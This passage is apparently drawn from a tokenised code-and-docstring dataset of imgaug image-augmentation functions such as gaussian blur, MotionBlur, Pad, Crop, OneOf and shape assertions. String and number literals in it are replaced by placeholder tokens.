ndimage.gaussian_filter(image[:, :, channel], sigma, mode=\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if dtype.name == \"<STR_LIT:bool>\":<EOL><INDENT>image = image.astype(np.float32, copy=False)<EOL><DEDENT>elif dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = image.astype(np.float32, copy=False)<EOL><DEDENT>elif dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = image.astype(np.int16, copy=False)<EOL><DEDENT>elif dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = image.astype(np.float64, copy=False)<EOL><DEDENT>if ksize is None:<EOL><INDENT>if sigma < <NUM_LIT>:<EOL><INDENT>ksize = <NUM_LIT> * sigma  <EOL><DEDENT>elif sigma < <NUM_LIT>:<EOL><INDENT>ksize = <NUM_LIT> * sigma  <EOL><DEDENT>else:<EOL><INDENT>ksize = <NUM_LIT> * sigma  <EOL><DEDENT>ksize = int(max(ksize, <NUM_LIT:5>))<EOL><DEDENT>else:<EOL><INDENT>assert ia.is_single_integer(ksize), \"<STR_LIT>\" % (type(ksize),)<EOL><DEDENT>ksize = ksize + <NUM_LIT:1> if ksize % <NUM_LIT:2> == <NUM_LIT:0> else ksize<EOL>if ksize > <NUM_LIT:0>:<EOL><INDENT>image_warped = cv2.GaussianBlur(image, (ksize, ksize), sigmaX=sigma, sigmaY=sigma,<EOL>borderType=cv2.BORDER_REFLECT_101)<EOL>image = image_warped[..., np.newaxis] if image.ndim == <NUM_LIT:3> and image_warped.ndim == <NUM_LIT:2> else image_warped<EOL><DEDENT><DEDENT>if dtype.name == \"<STR_LIT:bool>\":<EOL><INDENT>image = image > <NUM_LIT:0.5><EOL><DEDENT>elif dtype.name != image.dtype.name:<EOL><INDENT>image = iadt.restore_dtypes_(image, dtype)<EOL><DEDENT><DEDENT>return image<EOL>", "docstring": "Blur an image using gaussian blurring.\n\nThis operation might change the input image in-place.\n\ndtype support::\n\n    if (backend=\"auto\")::\n\n        * ``uint8``: yes; fully tested (1)\n        * ``uint16``: yes; tested (1)\n        * ``uint32``: yes; tested (2)\n        * ``uint64``: yes; tested (2)\n        * ``int8``: yes; tested (1)\n        * ``int16``: yes; tested (1)\n        * ``int32``: yes; tested (1)\n        * ``int64``: yes; tested (2)\n        * ``float16``: yes; tested (1)\n        * ``float32``: yes; tested (1)\n        * ``float64``: yes; tested (1)\n        * ``float128``: no\n        * ``bool``: yes; tested (1)\n\n        - (1) Handled by ``cv2``. See ``backend=\"cv2\"``.\n        - (2) Handled by ``scipy``. See ``backend=\"scipy\"``.\n\n    if (backend=\"cv2\")::\n\n        * ``uint8``: yes; fully tested\n        * ``uint16``: yes; tested\n        * ``uint32``: no (2)\n        * ``uint64``: no (3)\n        * ``int8``: yes; tested (4)\n        * ``int16``: yes; tested\n        * ``int32``: yes; tested (5)\n        * ``int64``: no (6)\n        * ``float16``: yes; tested (7)\n        * ``float32``: yes; tested\n        * ``float64``: yes; tested\n        * ``float128``: no (8)\n        * ``bool``: yes; tested (1)\n\n        - (1) Mapped internally to ``float32``. Otherwise causes ``TypeError: src data type = 0 is not supported``.\n        - (2) Causes ``TypeError: src data type = 6 is not supported``.\n        - (3) Causes ``cv2.error: OpenCV(3.4.5) (...)/filter.cpp:2957: error: (-213:The function/feature is not\n              implemented) Unsupported combination of source format (=4), and buffer format (=5) in function\n              'getLinearRowFilter'``.\n        - (4) Mapped internally to ``int16``. Otherwise causes ``cv2.error: OpenCV(3.4.5) (...)/filter.cpp:2957:\n              error: (-213:The function/feature is not implemented) Unsupported combination of source format (=1),\n              and buffer format (=5) in function 'getLinearRowFilter'``.\n        - (5) Mapped internally to ``float64``. Otherwise causes ``cv2.error: OpenCV(3.4.5) (...)/filter.cpp:2957:\n              error: (-213:The function/feature is not implemented) Unsupported combination of source format (=4),\n              and buffer format (=5) in function 'getLinearRowFilter'``.\n        - (6) Causes ``cv2.error: OpenCV(3.4.5) (...)/filter.cpp:2957: error: (-213:The function/feature is not\n              implemented) Unsupported combination of source format (=4), and buffer format (=5) in function\n              'getLinearRowFilter'``.\n        - (7) Mapped internally to ``float32``. Otherwise causes ``TypeError: src data type = 23 is not supported``.\n        - (8) Causes ``TypeError: src data type = 13 is not supported``.\n\n\n    if (backend=\"scipy\")::\n\n        * ``uint8``: yes; fully tested\n        * ``uint16``: yes; tested\n        * ``uint32``: yes; tested\n        * ``uint64``: yes; tested\n        * ``int8``: yes; tested\n        * ``int16``: yes; tested\n        * ``int32``: yes; tested\n        * ``int64``: yes; tested\n        * ``float16``: yes; tested (1)\n        * ``float32``: yes; tested\n        * ``float64``: yes; tested\n        * ``float128``: no (2)\n        * ``bool``: yes; tested (3)\n\n        - (1) Mapped internally to ``float32``. Otherwise causes ``RuntimeError: array type dtype('float16')\n              not supported``.\n        - (2) Causes ``RuntimeError: array type dtype('float128') not supported``.\n        - (3) Mapped internally to ``float32``. Otherwise too inaccurate.\n\nParameters\n----------\nimage : numpy.ndarray\n    The image to blur. Expected to be of shape ``(H, W)`` or ``(H, W, C)``.\n\nsigma : number\n    Standard deviation of the gaussian blur. Larger numbers result in more large-scale blurring, which is overall\n    slower than small-scale blurring.\n\nksize : None or int, optional\n    Size in height/width of the gaussian kernel. This argument is only understood by the ``cv2`` backend.\n    If it is set to None, an appropriate value for `ksize` will automatically be derived from `sigma`.\n    The value is chosen tighter for larger sigmas to avoid as much as possible very large kernel sizes\n    and therey improve performance.\n\nbackend : {'auto', 'cv2', 'scipy'}, optional\n    Backend library to use. If ``auto``, then the likely best library will be automatically picked per image. That\n    is usually equivalent to ``cv2`` (OpenCV) and it will fall back to ``scipy`` for datatypes not supported by\n    OpenCV.\n\neps : number, optional\n    A threshold used to decide whether `sigma` can be considered zero.\n\nReturns\n-------\nimage : numpy.ndarray\n    The blurred image. Same shape and dtype as the input.", "id": "f16286:m0"}
{"signature": "def MotionBlur(k=<NUM_LIT:5>, angle=(<NUM_LIT:0>, <NUM_LIT>), direction=(-<NUM_LIT:1.0>, <NUM_LIT:1.0>), order=<NUM_LIT:1>, name=None, deterministic=False, random_state=None):", "body": "<EOL>k_param = iap.handle_discrete_param(k, \"<STR_LIT:k>\", value_range=(<NUM_LIT:3>, None), tuple_to_uniform=True, list_to_choice=True,<EOL>allow_floats=False)<EOL>angle_param = iap.handle_continuous_param(angle, \"<STR_LIT>\", value_range=None, tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>direction_param = iap.handle_continuous_param(direction, \"<STR_LIT>\", value_range=(-<NUM_LIT:1.0>-<NUM_LIT>, <NUM_LIT:1.0>+<NUM_LIT>),<EOL>tuple_to_uniform=True, list_to_choice=True)<EOL>def create_matrices(image, nb_channels, random_state_func):<EOL><INDENT>from . import geometric as iaa_geometric<EOL>k_sample = int(k_param.draw_sample(random_state=random_state_func))<EOL>angle_sample = angle_param.draw_sample(random_state=random_state_func)<EOL>direction_sample = direction_param.draw_sample(random_state=random_state_func)<EOL>k_sample = k_sample if k_sample % <NUM_LIT:2> != <NUM_LIT:0> else k_sample + <NUM_LIT:1><EOL>direction_sample = np.clip(direction_sample, -<NUM_LIT:1.0>, <NUM_LIT:1.0>)<EOL>direction_sample = (direction_sample + <NUM_LIT:1.0>) / <NUM_LIT><EOL>matrix = np.zeros((k_sample, k_sample), dtype=np.float32)<EOL>matrix[:, k_sample//<NUM_LIT:2>] = np.linspace(float(direction_sample), <NUM_LIT:1.0> - float(direction_sample), num=k_sample)<EOL>rot = iaa_geometric.Affine(rotate=angle_sample, order=order)<EOL>matrix = (rot.augment_image((matrix * <NUM_LIT:255>).astype(np.uint8)) / <NUM_LIT>).astype(np.float32)<EOL>return [matrix/np.sum(matrix)] * nb_channels<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return iaa_convolutional.Convolve(create_matrices, name=name, deterministic=deterministic,<EOL>random_state=random_state)<EOL>", "docstring": "Augmenter that sharpens images and overlays the result with the original image.\n\ndtype support::\n\n    See ``imgaug.augmenters.convolutional.Convolve``.\n\nParameters\n----------\nk : int or tuple of int or list of int or imgaug.parameters.StochasticParameter, optional\n    Kernel size to use.\n\n        * If a single int, then that value will be used for the height\n          and width of the kernel.\n        * If a tuple of two ints ``(a, b)``, then the kernel size will be\n          sampled from the interval ``[a..b]``.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then ``N`` samples will be drawn from\n          that parameter per ``N`` input images, each representing the kernel\n          size for the nth image.\n\nangle : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Angle of the motion blur in degrees (clockwise, relative to top center direction).\n\n        * If a number, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\ndirection : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Forward/backward direction of the motion blur. Lower values towards -1.0 will point the motion blur towards\n    the back (with angle provided via `angle`). Higher values towards 1.0 will point the motion blur forward.\n    A value of 0.0 leads to a uniformly (but still angled) motion blur.\n\n        * If a number, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\norder : int or iterable of int or imgaug.ALL or imgaug.parameters.StochasticParameter, optional\n    Interpolation order to use when rotating the kernel according to `angle`.\n    See :func:`imgaug.augmenters.geometric.Affine.__init__`.\n    Recommended to be ``0`` or ``1``, with ``0`` being faster, but less continuous/smooth as `angle` is changed,\n    particularly around multiple of 45 degrees.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.MotionBlur(k=15)\n\nCreate a motion blur augmenter with kernel size of 15x15.\n\n>>> aug = iaa.MotionBlur(k=15, angle=[-45, 45])\n\nCreate a motion blur augmenter with kernel size of 15x15 and a blur angle of either -45 or 45 degrees (randomly\npicked per image).", "id": "f16286:m1"}
{"signature": "def Pad(px=None, percent=None, pad_mode=\"<STR_LIT>\", pad_cval=<NUM_LIT:0>, keep_size=True, sample_independently=True,<EOL>name=None, deterministic=False, random_state=None):", "body": "def recursive_validate(v):<EOL><INDENT>if v is None:<EOL><INDENT>return v<EOL><DEDENT>elif ia.is_single_number(v):<EOL><INDENT>ia.do_assert(v >= <NUM_LIT:0>)<EOL>return v<EOL><DEDENT>elif isinstance(v, iap.StochasticParameter):<EOL><INDENT>return v<EOL><DEDENT>elif isinstance(v, tuple):<EOL><INDENT>return tuple([recursive_validate(v_) for v_ in v])<EOL><DEDENT>elif isinstance(v, list):<EOL><INDENT>return [recursive_validate(v_) for v_ in v]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>type(v),))<EOL><DEDENT><DEDENT>px = recursive_validate(px)<EOL>percent = recursive_validate(percent)<EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>aug = CropAndPad(<EOL>px=px, percent=percent,<EOL>pad_mode=pad_mode, pad_cval=pad_cval,<EOL>keep_size=keep_size, sample_independently=sample_independently,<EOL>name=name, deterministic=deterministic, random_state=random_state<EOL>)<EOL>return aug<EOL>", "docstring": "Augmenter that pads images, i.e. adds columns/rows to them.\n\ndtype support::\n\n    See ``imgaug.augmenters.size.CropAndPad``.\n\nParameters\n----------\npx : None or int or imgaug.parameters.StochasticParameter or tuple, optional\n    The number of pixels to pad on each side of the image.\n    Either this or the parameter `percent` may be set, not both at the same\n    time.\n\n        * If None, then pixel-based padding will not be used.\n        * If int, then that exact number of pixels will always be padded.\n        * If StochasticParameter, then that parameter will be used for each\n          image. Four samples will be drawn per image (top, right, bottom,\n          left).\n        * If a tuple of two ints with values a and b, then each side will\n          be padded by a random amount in the range ``a <= x <= b``.\n          ``x`` is sampled per image side.\n        * If a tuple of four entries, then the entries represent top, right,\n          bottom, left. Each entry may be a single integer (always pad by\n          exactly that value), a tuple of two ints ``a`` and ``b`` (pad by\n          an amount ``a <= x <= b``), a list of ints (pad by a random value\n          that is contained in the list) or a StochasticParameter (sample\n          the amount to pad from that parameter).\n\npercent : None or int or float or imgaug.parameters.StochasticParameter \\\n          or tuple, optional\n    The number of pixels to pad on each side of the image given\n    *in percent* of the image height/width.\n    E.g. if this is set to 0.1, the augmenter will always add 10 percent\n    of the image's height to the top, 10 percent of the width to the right,\n    10 percent of the height at the bottom and 10 percent of the width to\n    the left. Either this or the parameter `px` may be set, not both at the\n    same time.\n\n        * If None, then percent-based padding will not be used.\n        * If int, then expected to be 0 (no padding).\n        * If float, then that percentage will always be padded.\n        * If StochasticParameter, then that parameter will be used for each\n          image. Four samples will be drawn per image (top, right, bottom,\n          left).\n        * If a tuple of two floats with values a and b, then each side will\n          be padded by a random percentage in the range ``a <= x <= b``.\n          ``x`` is sampled per image side.\n        * If a tuple of four entries, then the entries represent top, right,\n          bottom, left. Each entry may be a single float (always pad by\n          exactly that percent value), a tuple of two floats ``a`` and ``b``\n          (pad by a percentage ``a <= x <= b``), a list of floats (pad by a\n          random value that is contained in the list) or a\n          StochasticParameter (sample the percentage to pad from that\n          parameter).\n\npad_mode : imgaug.ALL or str or list of str or \\\n           imgaug.parameters.StochasticParameter, optional\n    Padding mode to use. The available modes match the numpy padding modes,\n    i.e. ``constant``, ``edge``, ``linear_ramp``, ``maximum``, ``median``,\n    ``minimum``, ``reflect``, ``symmetric``, ``wrap``. The modes\n    ``constant`` and ``linear_ramp`` use extra values, which are provided\n    by ``pad_cval`` when necessary. See :func:`imgaug.imgaug.pad` for\n    more details.\n\n        * If ``imgaug.ALL``, then a random mode from all available modes\n          will be sampled per image.\n        * If a string, it will be used as the pad mode for all images.\n        * If a list of strings, a random one of these will be sampled per\n          image and used as the mode.\n        * If StochasticParameter, a random mode will be sampled from this\n          parameter per image.\n\npad_cval : number or tuple of number list of number or \\\n           imgaug.parameters.StochasticParameter, optional\n    The constant value to use if the pad mode is ``constant`` or the end\n    value to use if the mode is ``linear_ramp``.\n    See :func:`imgaug.imgaug.pad` for more details.\n\n        * If number, then that value will be used.\n        * If a tuple of two numbers and at least one of them is a float,\n          then a random number will be sampled from the continuous range\n          ``a <= x <= b`` and used as the value. If both numbers are\n          integers, the range is discrete.\n        * If a list of number, then a random value will be chosen from the\n          elements of the list and used as the value.\n        * If StochasticParameter, a random value will be sampled from that\n          parameter per image.\n\nkeep_size : bool, optional\n    After padding, the result image will usually have a different\n    height/width compared to the original input image. If this parameter is\n    set to True, then the padded image will be resized to the input image's\n    size, i.e. the augmenter's output shape is always identical to the\n    input shape.\n\nsample_independently : bool, optional\n    If False AND the values for `px`/`percent` result in exactly one\n    probability distribution for the amount to pad, only one single value\n    will be sampled from that probability distribution and used for all\n    sides. I.e. the pad amount then is the same for all sides.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Pad(px=(0, 10))\n\npads each side by a random value from the range 0px to 10px (the value\nis sampled per side). The added rows/columns are filled with black pixels.\n\n>>> aug = iaa.Pad(px=(0, 10), sample_independently=False)\n\nsamples one value v from the discrete range ``[0..10]`` and pads all sides\nby ``v`` pixels.\n\n>>> aug = iaa.Pad(px=(0, 10), keep_size=False)\n\npads each side by a random value from the range 0px to 10px (the value\nis sampled per side). After padding, the images are NOT resized to their\noriginal size (i.e. the images may end up having different heights/widths).\n\n>>> aug = iaa.Pad(px=((0, 10), (0, 5), (0, 10), (0, 5)))\n\npads the top and bottom by a random value from the range 0px to 10px\nand the left and right by a random value in the range 0px to 5px.\n\n>>> aug = iaa.Pad(percent=(0, 0.1))\n\npads each side by a random value from the range 0 percent to\n10 percent. (Percent with respect to the side's size, e.g. for the\ntop side it uses the image's height.)\n\n>>> aug = iaa.Pad(percent=([0.05, 0.1], [0.05, 0.1], [0.05, 0.1], [0.05, 0.1]))\n\npads each side by either 5 percent or 10 percent.\n\n>>> aug = iaa.Pad(px=(0, 10), pad_mode=\"edge\")\n\npads each side by a random value from the range 0px to 10px (the values\nare sampled per side). The padding uses the ``edge`` mode from numpy's\npad function.\n\n>>> aug = iaa.Pad(px=(0, 10), pad_mode=[\"constant\", \"edge\"])\n\npads each side by a random value from the range 0px to 10px (the values\nare sampled per side). The padding uses randomly either the ``constant``\nor ``edge`` mode from numpy's pad function.\n\n>>> aug = iaa.Pad(px=(0, 10), pad_mode=ia.ALL, pad_cval=(0, 255))\n\npads each side by a random value from the range 0px to 10px (the values\nare sampled per side). It uses a random mode for numpy's pad function.\nIf the mode is ``constant`` or ``linear_ramp``, it samples a random value\n``v`` from the range ``[0, 255]`` and uses that as the constant\nvalue (``mode=constant``) or end value (``mode=linear_ramp``).", "id": "f16287:m4"}
{"signature": "def Crop(px=None, percent=None, keep_size=True, sample_independently=True,<EOL>name=None, deterministic=False, random_state=None):", "body": "def recursive_negate(v):<EOL><INDENT>if v is None:<EOL><INDENT>return v<EOL><DEDENT>elif ia.is_single_number(v):<EOL><INDENT>ia.do_assert(v >= <NUM_LIT:0>)<EOL>return -v<EOL><DEDENT>elif isinstance(v, iap.StochasticParameter):<EOL><INDENT>return iap.Multiply(v, -<NUM_LIT:1>)<EOL><DEDENT>elif isinstance(v, tuple):<EOL><INDENT>return tuple([recursive_negate(v_) for v_ in v])<EOL><DEDENT>elif isinstance(v, list):<EOL><INDENT>return [recursive_negate(v_) for v_ in v]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>type(v),))<EOL><DEDENT><DEDENT>px = recursive_negate(px)<EOL>percent = recursive_negate(percent)<EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>aug = CropAndPad(<EOL>px=px, percent=percent,<EOL>keep_size=keep_size, sample_independently=sample_independently,<EOL>name=name, deterministic=deterministic, random_state=random_state<EOL>)<EOL>return aug<EOL>", "docstring": "Augmenter that crops/cuts away pixels at the sides of the image.\n\nThat allows to cut out subimages from given (full) input images.\nThe number of pixels to cut off may be defined in absolute values or\npercent of the image sizes.\n\ndtype support::\n\n    See ``imgaug.augmenters.size.CropAndPad``.\n\nParameters\n----------\npx : None or int or imgaug.parameters.StochasticParameter or tuple, optional\n    The number of pixels to crop away (cut off) on each side of the image.\n    Either this or the parameter `percent` may be set, not both at the same\n    time.\n\n        * If None, then pixel-based cropping will not be used.\n        * If int, then that exact number of pixels will always be cropped.\n        * If StochasticParameter, then that parameter will be used for each\n          image. Four samples will be drawn per image (top, right, bottom,\n          left).\n        * If a tuple of two ints with values ``a`` and ``b``, then each\n          side will be cropped by a random amount in the range\n          ``a <= x <= b``. ``x`` is sampled per image side.\n        * If a tuple of four entries, then the entries represent top, right,\n          bottom, left. Each entry may be a single integer (always crop by\n          exactly that value), a tuple of two ints ``a`` and ``b`` (crop by\n          an amount ``a <= x <= b``), a list of ints (crop by a random\n          value that is contained in the list) or a StochasticParameter\n          (sample the amount to crop from that parameter).\n\npercent : None or int or float or imgaug.parameters.StochasticParameter \\\n          or tuple, optional\n    The number of pixels to crop away (cut off) on each side of the image\n    given *in percent* of the image height/width.\n    E.g. if this is set to 0.1, the augmenter will always crop away\n    10 percent of the image's height at the top, 10 percent of the width\n    on the right, 10 percent of the height at the bottom and 10 percent\n    of the width on the left.\n    Either this or the parameter `px` may be set, not both at the same time.\n\n        * If None, then percent-based cropping will not be used.\n        * If int, then expected to be 0 (no cropping).\n        * If float, then that percentage will always be cropped away.\n        * If StochasticParameter, then that parameter will be used for each\n          image. Four samples will be drawn per image (top, right, bottom,\n          left).\n        * If a tuple of two floats with values ``a`` and ``b``, then each\n          side will be cropped by a random percentage in the range\n          ``a <= x <= b``. ``x`` is sampled per image side.\n        * If a tuple of four entries, then the entries represent top, right,\n          bottom, left. Each entry may be a single float (always crop by\n          exactly that percent value), a tuple of two floats a and ``b``\n          (crop by a percentage ``a <= x <= b``), a list of floats (crop by\n          a random value that is contained in the list) or a\n          StochasticParameter (sample the percentage to crop from that\n          parameter).\n\nkeep_size : bool, optional\n    After cropping, the result image has a different height/width than\n    the input image. If this parameter is set to True, then the cropped\n    image will be resized to the input image's size, i.e. the image size\n    is then not changed by the augmenter.\n\nsample_independently : bool, optional\n    If False AND the values for `px`/`percent` result in exactly one\n    probability distribution for the amount to crop, only one\n    single value will be sampled from that probability distribution\n    and used for all sides. I.e. the crop amount then is the same\n    for all sides.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Crop(px=(0, 10))\n\ncrops each side by a random value from the range 0px to 10px (the value\nis sampled per side).\n\n>>> aug = iaa.Crop(px=(0, 10), sample_independently=False)\n\nsamples one value ``v`` from the discrete range ``[0..10]`` and crops all\nsides by ``v`` pixels.\n\n>>> aug = iaa.Crop(px=(0, 10), keep_size=False)\n\ncrops each side by a random value from the range 0px to 10px (the value\nis sampled per side). After cropping, the images are NOT resized to their\noriginal size (i.e. the images may end up having different heights/widths).\n\n>>> aug = iaa.Crop(px=((0, 10), (0, 5), (0, 10), (0, 5)))\n\ncrops the top and bottom by a random value from the range 0px to 10px\nand the left and right by a random value in the range 0px to 5px.\n\n>>> aug = iaa.Crop(percent=(0, 0.1))\n\ncrops each side by a random value from the range 0 percent to\n10 percent. (Percent with respect to the side's size, e.g. for the\ntop side it uses the image's height.)\n\n>>> aug = iaa.Crop(percent=([0.05, 0.1], [0.05, 0.1], [0.05, 0.1], [0.05, 0.1]))\n\ncrops each side by either 5 percent or 10 percent.", "id": "f16287:m5"}
{"signature": "def OneOf(children, name=None, deterministic=False, random_state=None):", "body": "return SomeOf(n=<NUM_LIT:1>, children=children, random_order=False, name=name, deterministic=deterministic,<EOL>random_state=random_state)<EOL>", "docstring": "Augmenter that always executes exactly one of its children.\n\ndtype support::\n\n    See ``imgaug.augmenters.meta.SomeOf``.\n\nParameters\n----------\nchildren : list of imgaug.augmenters.meta.Augmenter\n    The choices of augmenters to apply.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> imgs = [np.ones((10, 10))]\n>>> seq = iaa.OneOf([\n>>>     iaa.Fliplr(1.0),\n>>>     iaa.Flipud(1.0)\n>>> ])\n>>> imgs_aug = seq.augment_images(imgs)\n\nflips each image either horizontally or vertically.\n\n\n>>> seq = iaa.OneOf([\n>>>     iaa.Fliplr(1.0),\n>>>     iaa.Sequential([\n>>>         iaa.GaussianBlur(1.0),\n>>>         iaa.Dropout(0.05),\n>>>         iaa.AdditiveGaussianNoise(0.1*255)\n>>>     ]),\n>>>     iaa.Noop()\n>>> ])\n>>> imgs_aug = seq.augment_images(imgs)\n\neither flips each image horizontally, or adds blur+dropout+noise or does\nnothing.", "id": "f16288:m9"}
{"signature": "def AssertLambda(func_images=None, func_heatmaps=None, func_keypoints=None,<EOL>func_polygons=None, name=None, deterministic=False,<EOL>random_state=None):", "body": "def func_images_assert(images, random_state, parents, hooks):<EOL><INDENT>ia.do_assert(func_images(images, random_state, parents, hooks),<EOL>\"<STR_LIT>\")<EOL>return images<EOL><DEDENT>def func_heatmaps_assert(heatmaps, random_state, parents, hooks):<EOL><INDENT>ia.do_assert(func_heatmaps(heatmaps, random_state, parents, hooks),<EOL>\"<STR_LIT>\")<EOL>return heatmaps<EOL><DEDENT>def func_keypoints_assert(keypoints_on_images, random_state, parents, hooks):<EOL><INDENT>ia.do_assert(func_keypoints(keypoints_on_images, random_state, parents, hooks),<EOL>\"<STR_LIT>\")<EOL>return keypoints_on_images<EOL><DEDENT>def func_polygons_assert(polygons_on_images, random_state, parents, hooks):<EOL><INDENT>ia.do_assert(func_polygons(polygons_on_images, random_state, parents, hooks),<EOL>\"<STR_LIT>\")<EOL>return polygons_on_images<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return Lambda(func_images_assert if func_images is not None else None,<EOL>func_heatmaps_assert if func_heatmaps is not None else None,<EOL>func_keypoints_assert if func_keypoints is not None else None,<EOL>func_polygons_assert if func_polygons is not None else None,<EOL>name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter that runs an assert on each batch of input images\nusing a lambda function as condition.\n\nThis is useful to make generic assumption about the input images and error\nout early if they aren't met.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; tested\n    * ``uint32``: yes; tested\n    * ``uint64``: yes; tested\n    * ``int8``: yes; tested\n    * ``int16``: yes; tested\n    * ``int32``: yes; tested\n    * ``int64``: yes; tested\n    * ``float16``: yes; tested\n    * ``float32``: yes; tested\n    * ``float64``: yes; tested\n    * ``float128``: yes; tested\n    * ``bool``: yes; tested\n\nParameters\n----------\nfunc_images : None or callable, optional\n    The function to call for each batch of images.\n    It must follow the form ``function(images, random_state, parents, hooks)``\n    and return either True (valid input) or False (invalid input).\n    It essentially reuses the interface of\n    :func:`imgaug.augmenters.meta.Augmenter._augment_images`.\n\nfunc_heatmaps : None or callable, optional\n    The function to call for each batch of heatmaps.\n    It must follow the form ``function(heatmaps, random_state, parents, hooks)``\n    and return either True (valid input) or False (invalid input).\n    It essentially reuses the interface of\n    :func:`imgaug.augmenters.meta.Augmenter._augment_heatmaps`.\n\nfunc_keypoints : None or callable, optional\n    The function to call for each batch of keypoints.\n    It must follow the form ``function(keypoints_on_images, random_state, parents, hooks)``\n    and return either True (valid input) or False (invalid input).\n    It essentially reuses the interface of\n    :func:`imgaug.augmenters.meta.Augmenter._augment_keypoints`.\n\nfunc_polygons : None or callable, optional\n    The function to call for each batch of polygons.\n    It must follow the form ``function(polygons_on_images, random_state, parents, hooks)``\n    and return either True (valid input) or False (invalid input).\n    It essentially reuses the interface of\n    :func:`imgaug.augmenters.meta.Augmenter._augment_polygons`.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.", "id": "f16288:m10"}
{"signature": "def AssertShape(shape, check_images=True, check_heatmaps=True,<EOL>check_keypoints=True, check_polygons=True,<EOL>name=None, deterministic=False, random_state=None):", "body": "ia.do_assert(len(shape) == <NUM_LIT:4>, \"<STR_LIT>\" % (len(shape), str(shape)))<EOL>def compare(observed, expected, dimension, image_index):<EOL><INDENT>if expected is not None:<EOL><INDENT>if ia.is_single_integer(expected):<EOL><INDENT>ia.do_assert(observed == expected,<EOL>\"<STR_LIT>\" % (<EOL>dimension, image_index, expected, observed))<EOL><DEDENT>elif isinstance(expected, tuple):<EOL><INDENT>ia.do_assert(len(expected) == <NUM_LIT:2>)<EOL>ia.do_assert(expected[<NUM_LIT:0>] <= observed < expected[<NUM_LIT:1>],<EOL>\"<STR_LIT>\" % (<EOL>dimension, image_index, expected[<NUM_LIT:0>], expected[<NUM_LIT:1>], observed))<EOL><DEDENT>elif isinstance(expected, list):<EOL><INDENT>ia.do_assert(any([observed == val for val in expected]),<EOL>\"<STR_LIT>\" % (<EOL>dimension, image_index, str(expected), observed))<EOL><DEDENT>else:<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (dimension, type(expected),))<EOL><DEDENT><DEDENT><DEDENT>def func_images(images, _random_state, _parents, _hooks):<EOL><INDENT>if check_images:<EOL><INDENT>if isinstance(images, list):<EOL><INDENT>if shape[<NUM_LIT:0>] is not None:<EOL><INDENT>compare(len(images), shape[<NUM_LIT:0>], <NUM_LIT:0>, \"<STR_LIT>\")<EOL><DEDENT>for i in sm.xrange(len(images)):<EOL><INDENT>image = images[i]<EOL>ia.do_assert(len(image.shape) == <NUM_LIT:3>,<EOL>\"<STR_LIT>\" % (<EOL>i, len(image.shape), str(image.shape)))<EOL>for j in sm.xrange(len(shape)-<NUM_LIT:1>):<EOL><INDENT>expected = shape[j+<NUM_LIT:1>]<EOL>observed = image.shape[j]<EOL>compare(observed, expected, j, i)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>ia.do_assert(len(images.shape) == <NUM_LIT:4>,<EOL>\"<STR_LIT>\" % (<EOL>len(images.shape), str(images.shape)))<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>expected = shape[i]<EOL>observed = images.shape[i]<EOL>compare(observed, expected, i, \"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>return images<EOL><DEDENT>def func_heatmaps(heatmaps, _random_state, _parents, _hooks):<EOL><INDENT>if check_heatmaps:<EOL><INDENT>if 